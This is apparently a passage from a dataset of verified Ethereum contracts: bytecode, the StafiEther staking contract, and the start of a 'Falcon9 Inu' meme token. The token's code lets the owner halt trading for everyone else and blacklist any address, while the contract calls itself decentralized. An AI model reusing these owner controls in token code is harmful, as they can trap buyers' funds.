81a573d6000803e3d6000fd5b505050506040513d602081101561083057600080fd5b5051151561047357600080fd5b600054600160a060020a0316331461085457600080fd5b60008054604051600160a060020a03909116917ff8df31144d9c2f0f6b59d69b8b98abd5459d07f2742c4df920b25aae33c6482091a26000805473ffffffffffffffffffffffffffffffffffffffff19169055565b6000806003543a111515156108bd57600080fd5b6004548311156108cc57600080fd5b6108d4610477565b15156108df57600080fd5b8291506108eb8261074f565b90503031811115610911575060065430319061090e90829063ffffffff610be316565b91505b600254604080517f23b872dd000000000000000000000000000000000000000000000000000000008152336004820152306024820152604481018590529051600160a060020a03909216916323b872dd916064808201926020929091908290030181600087803b15801561098457600080fd5b505af1158015610998573d6000803e3d6000fd5b505050506040513d60208110156109ae57600080fd5b505115156109bb57600080fd5b604051339082156108fc029083906000818181858888f193505050501580156109e8573d6000803e3d6000fd5b506040805183815260208101839052815133927f2dcc2439519c7d06fca9f8ae01e07f4f3c6ca21b5cdf8eff42cb75cf34d223c9928290030190a2505050565b600054600160a060020a03163314610a3f57600080fd5b600054600160a060020a0316ff5b600054600160a060020a031681565b600054600160a060020a03163314610a7357600080fd5b60008054604051600160a060020a0390911691303180156108fc02929091818181858888f19350505050158015610aae573d6000803e3d6000fd5b50565b60055481565b600154600160a060020a031681565b60045481565b600054600160a060020a03163314610ae357600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600054600160a060020a03163314610b2957600080fd5b80600160a060020a0316ff5b600254600160a060020a031681565b82600160a060020a031663a9059cbb83836040518363ffffffff1660e060020a0281526004018083600160a060020a0316600160a060020a0316815260200182815260200192505050602060405180830381600087803b158015610ba757600080fd5b505af1158015610bbb573d6000803e3d6000fd5b505050506040513d6020811015610bd157600080fd5b50511515610bde57600080fd5b505050565b600080831515610bf65760009150610c15565b50828202828482811515610c0657fe5b0414610c1157600080fd5b8091505b5092915050565b600080808311610c2b57600080fd5b8284811515610c3657fe5b049493505050505600a165627a7a72305820e6f6a3ab465497fe02d2e531cf9fb68e7d68b72dec903e027ee9de8bb9b877690029
|
{"success": true, "error": null, "results": {}}
| 7,888 |
0x54896f542f044709807f0d79033934d661d39fc1
|
/**
*Submitted for verification at Etherscan.io on 2022-01-18
*/
pragma solidity 0.6.12;
// SPDX-License-Identifier: GPL-3.0-only
/**
* @dev Wrappers over Solidity's arithmetic operations with added overflow
* checks.
*
* Arithmetic operations in Solidity wrap on overflow. This can easily result
* in bugs, because programmers usually assume that an overflow raises an
* error, which is the standard behavior in high level programming languages.
* `SafeMath` restores this intuition by reverting the transaction when an
* operation overflows.
*
* Using this library instead of the unchecked operations eliminates an entire
* class of bugs, so it's recommended to use it always.
*/
library SafeMath {
/**
* @dev Returns the addition of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `+` operator.
*
* Requirements:
*
* - Addition cannot overflow.
*/
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
/**
* @dev Returns the subtraction of two unsigned integers, reverting with custom message on
* overflow (when the result is negative).
*
* Counterpart to Solidity's `-` operator.
*
* Requirements:
*
* - Subtraction cannot overflow.
*/
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
/**
* @dev Returns the multiplication of two unsigned integers, reverting on
* overflow.
*
* Counterpart to Solidity's `*` operator.
*
* Requirements:
*
* - Multiplication cannot overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
// Gas optimization: this is cheaper than requiring 'a' not being zero, but the
// benefit is lost if 'b' is also tested.
// See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
/**
* @dev Returns the integer division of two unsigned integers. Reverts with custom message on
* division by zero. The result is rounded towards zero.
*
* Counterpart to Solidity's `/` operator. Note: this function uses a
* `revert` opcode (which leaves remaining gas untouched) while Solidity
* uses an invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
/**
* @dev Returns the remainder of dividing two unsigned integers. (unsigned integer modulo),
* Reverts with custom message when dividing by zero.
*
* Counterpart to Solidity's `%` operator. This function uses a `revert`
* opcode (which leaves remaining gas untouched) while Solidity uses an
* invalid opcode to revert (consuming all remaining gas).
*
* Requirements:
*
* - The divisor cannot be zero.
*/
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IStafiStorage {
// Getters
function getAddress(bytes32 _key) external view returns (address);
function getUint(bytes32 _key) external view returns (uint);
function getString(bytes32 _key) external view returns (string memory);
function getBytes(bytes32 _key) external view returns (bytes memory);
function getBool(bytes32 _key) external view returns (bool);
function getInt(bytes32 _key) external view returns (int);
function getBytes32(bytes32 _key) external view returns (bytes32);
// Setters
function setAddress(bytes32 _key, address _value) external;
function setUint(bytes32 _key, uint _value) external;
function setString(bytes32 _key, string calldata _value) external;
function setBytes(bytes32 _key, bytes calldata _value) external;
function setBool(bytes32 _key, bool _value) external;
function setInt(bytes32 _key, int _value) external;
function setBytes32(bytes32 _key, bytes32 _value) external;
// Deleters
function deleteAddress(bytes32 _key) external;
function deleteUint(bytes32 _key) external;
function deleteString(bytes32 _key) external;
function deleteBytes(bytes32 _key) external;
function deleteBool(bytes32 _key) external;
function deleteInt(bytes32 _key) external;
function deleteBytes32(bytes32 _key) external;
}
abstract contract StafiBase {
// Version of the contract
uint8 public version;
// The main storage contract where primary persistant storage is maintained
IStafiStorage stafiStorage = IStafiStorage(0);
/**
* @dev Throws if called by any sender that doesn't match a network contract
*/
modifier onlyLatestNetworkContract() {
require(getBool(keccak256(abi.encodePacked("contract.exists", msg.sender))), "Invalid or outdated network contract");
_;
}
/**
* @dev Throws if called by any sender that doesn't match one of the supplied contract or is the latest version of that contract
*/
modifier onlyLatestContract(string memory _contractName, address _contractAddress) {
require(_contractAddress == getAddress(keccak256(abi.encodePacked("contract.address", _contractName))), "Invalid or outdated contract");
_;
}
/**
* @dev Throws if called by any sender that isn't a trusted node
*/
modifier onlyTrustedNode(address _nodeAddress) {
require(getBool(keccak256(abi.encodePacked("node.trusted", _nodeAddress))), "Invalid trusted node");
_;
}
/**
* @dev Throws if called by any sender that isn't a registered staking pool
*/
modifier onlyRegisteredStakingPool(address _stakingPoolAddress) {
require(getBool(keccak256(abi.encodePacked("stakingpool.exists", _stakingPoolAddress))), "Invalid staking pool");
_;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(roleHas("owner", msg.sender), "Account is not the owner");
_;
}
/**
* @dev Modifier to scope access to admins
*/
modifier onlyAdmin() {
require(roleHas("admin", msg.sender), "Account is not an admin");
_;
}
/**
* @dev Modifier to scope access to admins
*/
modifier onlySuperUser() {
require(roleHas("owner", msg.sender) || roleHas("admin", msg.sender), "Account is not a super user");
_;
}
/**
* @dev Reverts if the address doesn't have this role
*/
modifier onlyRole(string memory _role) {
require(roleHas(_role, msg.sender), "Account does not match the specified role");
_;
}
/// @dev Set the main Storage address
constructor(address _stafiStorageAddress) public {
// Update the contract address
stafiStorage = IStafiStorage(_stafiStorageAddress);
}
/// @dev Get the address of a network contract by name
function getContractAddress(string memory _contractName) internal view returns (address) {
// Get the current contract address
address contractAddress = getAddress(keccak256(abi.encodePacked("contract.address", _contractName)));
// Check it
require(contractAddress != address(0x0), "Contract not found");
// Return
return contractAddress;
}
/// @dev Get the name of a network contract by address
function getContractName(address _contractAddress) internal view returns (string memory) {
// Get the contract name
string memory contractName = getString(keccak256(abi.encodePacked("contract.name", _contractAddress)));
// Check it
require(keccak256(abi.encodePacked(contractName)) != keccak256(abi.encodePacked("")), "Contract not found");
// Return
return contractName;
}
/// @dev Storage get methods
function getAddress(bytes32 _key) internal view returns (address) { return stafiStorage.getAddress(_key); }
function getUint(bytes32 _key) internal view returns (uint256) { return stafiStorage.getUint(_key); }
function getString(bytes32 _key) internal view returns (string memory) { return stafiStorage.getString(_key); }
function getBytes(bytes32 _key) internal view returns (bytes memory) { return stafiStorage.getBytes(_key); }
function getBool(bytes32 _key) internal view returns (bool) { return stafiStorage.getBool(_key); }
function getInt(bytes32 _key) internal view returns (int256) { return stafiStorage.getInt(_key); }
function getBytes32(bytes32 _key) internal view returns (bytes32) { return stafiStorage.getBytes32(_key); }
function getAddressS(string memory _key) internal view returns (address) { return stafiStorage.getAddress(keccak256(abi.encodePacked(_key))); }
function getUintS(string memory _key) internal view returns (uint256) { return stafiStorage.getUint(keccak256(abi.encodePacked(_key))); }
function getStringS(string memory _key) internal view returns (string memory) { return stafiStorage.getString(keccak256(abi.encodePacked(_key))); }
function getBytesS(string memory _key) internal view returns (bytes memory) { return stafiStorage.getBytes(keccak256(abi.encodePacked(_key))); }
function getBoolS(string memory _key) internal view returns (bool) { return stafiStorage.getBool(keccak256(abi.encodePacked(_key))); }
function getIntS(string memory _key) internal view returns (int256) { return stafiStorage.getInt(keccak256(abi.encodePacked(_key))); }
function getBytes32S(string memory _key) internal view returns (bytes32) { return stafiStorage.getBytes32(keccak256(abi.encodePacked(_key))); }
/// @dev Storage set methods
function setAddress(bytes32 _key, address _value) internal { stafiStorage.setAddress(_key, _value); }
function setUint(bytes32 _key, uint256 _value) internal { stafiStorage.setUint(_key, _value); }
function setString(bytes32 _key, string memory _value) internal { stafiStorage.setString(_key, _value); }
function setBytes(bytes32 _key, bytes memory _value) internal { stafiStorage.setBytes(_key, _value); }
function setBool(bytes32 _key, bool _value) internal { stafiStorage.setBool(_key, _value); }
function setInt(bytes32 _key, int256 _value) internal { stafiStorage.setInt(_key, _value); }
function setBytes32(bytes32 _key, bytes32 _value) internal { stafiStorage.setBytes32(_key, _value); }
function setAddressS(string memory _key, address _value) internal { stafiStorage.setAddress(keccak256(abi.encodePacked(_key)), _value); }
function setUintS(string memory _key, uint256 _value) internal { stafiStorage.setUint(keccak256(abi.encodePacked(_key)), _value); }
function setStringS(string memory _key, string memory _value) internal { stafiStorage.setString(keccak256(abi.encodePacked(_key)), _value); }
function setBytesS(string memory _key, bytes memory _value) internal { stafiStorage.setBytes(keccak256(abi.encodePacked(_key)), _value); }
function setBoolS(string memory _key, bool _value) internal { stafiStorage.setBool(keccak256(abi.encodePacked(_key)), _value); }
function setIntS(string memory _key, int256 _value) internal { stafiStorage.setInt(keccak256(abi.encodePacked(_key)), _value); }
function setBytes32S(string memory _key, bytes32 _value) internal { stafiStorage.setBytes32(keccak256(abi.encodePacked(_key)), _value); }
/// @dev Storage delete methods
function deleteAddress(bytes32 _key) internal { stafiStorage.deleteAddress(_key); }
function deleteUint(bytes32 _key) internal { stafiStorage.deleteUint(_key); }
function deleteString(bytes32 _key) internal { stafiStorage.deleteString(_key); }
function deleteBytes(bytes32 _key) internal { stafiStorage.deleteBytes(_key); }
function deleteBool(bytes32 _key) internal { stafiStorage.deleteBool(_key); }
function deleteInt(bytes32 _key) internal { stafiStorage.deleteInt(_key); }
function deleteBytes32(bytes32 _key) internal { stafiStorage.deleteBytes32(_key); }
function deleteAddressS(string memory _key) internal { stafiStorage.deleteAddress(keccak256(abi.encodePacked(_key))); }
function deleteUintS(string memory _key) internal { stafiStorage.deleteUint(keccak256(abi.encodePacked(_key))); }
function deleteStringS(string memory _key) internal { stafiStorage.deleteString(keccak256(abi.encodePacked(_key))); }
function deleteBytesS(string memory _key) internal { stafiStorage.deleteBytes(keccak256(abi.encodePacked(_key))); }
function deleteBoolS(string memory _key) internal { stafiStorage.deleteBool(keccak256(abi.encodePacked(_key))); }
function deleteIntS(string memory _key) internal { stafiStorage.deleteInt(keccak256(abi.encodePacked(_key))); }
function deleteBytes32S(string memory _key) internal { stafiStorage.deleteBytes32(keccak256(abi.encodePacked(_key))); }
/**
* @dev Check if an address has this role
*/
function roleHas(string memory _role, address _address) internal view returns (bool) {
return getBool(keccak256(abi.encodePacked("access.role", _role, _address)));
}
}
interface IStafiEther {
function balanceOf(address _contractAddress) external view returns (uint256);
function depositEther() external payable;
function withdrawEther(uint256 _amount) external;
}
interface IStafiEtherWithdrawer {
function receiveEtherWithdrawal() external payable;
}
// ETH are stored here to prevent contract upgrades from affecting balances
// The contract must not be upgraded
contract StafiEther is StafiBase, IStafiEther {
// Libs
using SafeMath for uint256;
// Contract balances
mapping(bytes32 => uint256) balances;
// Events
event EtherDeposited(bytes32 indexed by, uint256 amount, uint256 time);
event EtherWithdrawn(bytes32 indexed by, uint256 amount, uint256 time);
// Construct
constructor(address _stafiStorageAddress) StafiBase(_stafiStorageAddress) public {
version = 1;
}
// Get a contract's ETH balance by address
function balanceOf(address _contractAddress) override public view returns (uint256) {
return balances[keccak256(abi.encodePacked(getContractName(_contractAddress)))];
}
// Accept an ETH deposit from a network contract
function depositEther() override external payable onlyLatestNetworkContract {
// Get contract key
bytes32 contractKey = keccak256(abi.encodePacked(getContractName(msg.sender)));
// Update contract balance
balances[contractKey] = balances[contractKey].add(msg.value);
// Emit ether deposited event
emit EtherDeposited(contractKey, msg.value, now);
}
// Withdraw an amount of ETH to a network contract
function withdrawEther(uint256 _amount) override external onlyLatestNetworkContract {
// Get contract key
bytes32 contractKey = keccak256(abi.encodePacked(getContractName(msg.sender)));
// Check and update contract balance
require(balances[contractKey] >= _amount, "Insufficient contract ETH balance");
balances[contractKey] = balances[contractKey].sub(_amount);
// Withdraw
IStafiEtherWithdrawer withdrawer = IStafiEtherWithdrawer(msg.sender);
withdrawer.receiveEtherWithdrawal{value: _amount}();
// Emit ether withdrawn event
emit EtherWithdrawn(contractKey, _amount, now);
}
}
|
0x60806040526004361061003f5760003560e01c80633bed33ce1461004457806354fd4d501461007f57806370a08231146100ad57806398ea5fca14610112575b600080fd5b34801561005057600080fd5b5061007d6004803603602081101561006757600080fd5b810190808035906020019092919050505061011c565b005b34801561008b57600080fd5b506100946103b3565b604051808260ff16815260200191505060405180910390f35b3480156100b957600080fd5b506100fc600480360360208110156100d057600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506103c4565b6040518082815260200191505060405180910390f35b61011a61045a565b005b61018c3360405160200180807f636f6e74726163742e6578697374730000000000000000000000000000000000815250600f018273ffffffffffffffffffffffffffffffffffffffff1660601b81526014019150506040516020818303038152906040528051906020012061061d565b6101e1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180610b826024913960400191505060405180910390fd5b60006101ec336106d3565b6040516020018082805190602001908083835b6020831061022257805182526020820191506020810190506020830392506101ff565b6001836020036101000a03801982511681845116808217855250505050505090500191505060405160208183030381529060405280519060200120905081600160008381526020019081526020016000205410156102cb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526021815260200180610b616021913960400191505060405180910390fd5b6102f182600160008481526020019081526020016000205461085990919063ffffffff16565b600160008381526020019081526020016000208190555060003390508073ffffffffffffffffffffffffffffffffffffffff16630a019eaf846040518263ffffffff1660e01b81526004016000604051808303818588803b15801561035557600080fd5b505af1158015610369573d6000803e3d6000fd5b5050505050817f73bee9f217b293842a2fbe73ad32a4c1175e05bb940c97d6e7b8da25b68658288442604051808381526020018281526020019250505060405180910390a2505050565b60008054906101000a900460ff1681565b6000600160006103d3846106d3565b6040516020018082805190602001908083835b6020831061040957805182526020820191506020810190506020830392506103e6565b6001836020036101000a038019825116818451168082178552505050505050905001915050604051602081830303815290604052805190602001208152602001908152602001600020549050919050565b6104ca3360405160200180807f636f6e74726163742e6578697374730000000000000000000000000000000000815250600f018273ffffffffffffffffffffffffffffffffffffffff1660601b81526014019150506040516020818303038152906040528051906020012061061d565b61051f576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401808060200182810382526024815260200180610b826024913960400191505060405180910390fd5b600061052a336106d3565b6040516020018082805190602001908083835b60208310610560578051825260208201915060208101905060208303925061053d565b6001836020036101000a0380198251168184511680821785525050505050509050019150506040516020818303038152906040528051906020012090506105c33460016000848152602001908152602001600020546108a390919063ffffffff16565b6001600083815260200190815260200160002081905550807f2c7d80ba9bc6395644b4ff4a878353ac20adeed6e23cead48c8cec7a58b6e7193442604051808381526020018281526020019250505060405180910390a250565b60008060019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16637ae1cfca836040518263ffffffff1660e01b81526004018082815260200191505060206040518083038186803b15801561069157600080fd5b505afa1580156106a5573d6000803e3d6000fd5b505050506040513d60208110156106bb57600080fd5b81019080805190602001909291905050509050919050565b6060806107468360405160200180807f636f6e74726163742e6e616d6500000000000000000000000000000000000000815250600d018273ffffffffffffffffffffffffffffffffffffffff1660601b81526014019150506040516020818303038152906040528051906020012061092b565b905060405160200180600001905060405160208183030381529060405280519060200120816040516020018082805190602001908083835b602083106107a1578051825260208201915060208101905060208303925061077e565b6001836020036101000a038019825116818451168082178552505050505050905001915050604051602081830303815290604052805190602001201415610850576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260128152602001807f436f6e7472616374206e6f7420666f756e64000000000000000000000000000081525060200191505060405180910390fd5b80915050919050565b600061089b83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250610aa0565b905092915050565b600080828401905083811015610921576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b8091505092915050565b6060600060019054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663986e791a836040518263ffffffff1660e01b81526004018082815260200191505060006040518083038186803b1580156109a057600080fd5b505afa1580156109b4573d6000803e3d6000fd5b505050506040513d6000823e3d601f19601f8201168201806040525060208110156109de57600080fd5b81019080805160405193929190846401000000008211156109fe57600080fd5b83820191506020820185811115610a1457600080fd5b8251866001820283011164010000000082111715610a3157600080fd5b8083526020830192505050908051906020019080838360005b83811015610a65578082015181840152602081019050610a4a565b50505050905090810190601f168015610a925780820380516001836020036101000a031916815260200191505b506040525050509050919050565b6000838311158290610b4d576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610b12578082015181840152602081019050610af7565b50505050905090810190601f168015610b3f5780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b506000838503905080915050939250505056fe496e73756666696369656e7420636f6e7472616374204554482062616c616e6365496e76616c6964206f72206f75746461746564206e6574776f726b20636f6e7472616374a2646970667358221220127cb9446533f0a9352d4f96229d6d9aa2a8714a7fbb78e89db61ccde9d51ca964736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 7,889 |
0xeff2d573d1c00d063151e56b6c7e61a7395c2ebc
|
// SPDX-License-Identifier: Unlicensed
/**
F9 INU aims to build an ethical, completely decentralized and entertaining platform for innovation by combining cryptocurrency with Metaverse: F9 Metaverse.
http://f9metaverse.games/
https://twitter.com/falcon9inu
https://t.me/Falcon9inuETH
**/
pragma solidity ^0.8.9;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract FALCON9 is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Falcon9 Inu";
string private constant _symbol = "Falcon9";
uint8 private constant _decimals = 9;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 42000000000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _redisFeeOnBuy = 4;
uint256 private _taxFeeOnBuy = 4;
uint256 private _redisFeeOnSell = 4;
uint256 private _taxFeeOnSell = 4;
//Original Fee
uint256 private _redisFee = _redisFeeOnSell;
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previousredisFee = _redisFee;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots; mapping (address => uint256) public _buyMap;
address payable private _developmentAddress = payable(0xcDb28bb7cF616043A1b83a74869f3F6bf0eC0bEC);
address payable private _marketingAddress = payable(0xcDb28bb7cF616043A1b83a74869f3F6bf0eC0bEC);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = true;
uint256 public _maxTxAmount = 210000000 * 10**9;
uint256 public _maxWalletSize = 420000000 * 10**9;
uint256 public _swapTokensAtAmount = 4200 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_rOwned[_msgSender()] = _rTotal;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);//
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_developmentAddress] = true;
_isExcludedFromFee[_marketingAddress] = true;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(
rAmount <= _rTotal,
"Amount must be less than total reflections"
);
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function removeAllFee() private {
if (_redisFee == 0 && _taxFee == 0) return;
_previousredisFee = _redisFee;
_previoustaxFee = _taxFee;
_redisFee = 0;
_taxFee = 0;
}
function restoreAllFee() private {
_redisFee = _previousredisFee;
_taxFee = _previoustaxFee;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
//Trade start check
if (!tradingOpen) {
require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled");
}
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _maxTxAmount)
{
contractTokenBalance = _maxTxAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) {
swapTokensForEth(contractTokenBalance);
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_redisFee = _redisFeeOnBuy;
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_redisFee = _redisFeeOnSell;
_taxFee = _taxFeeOnSell;
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function setTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
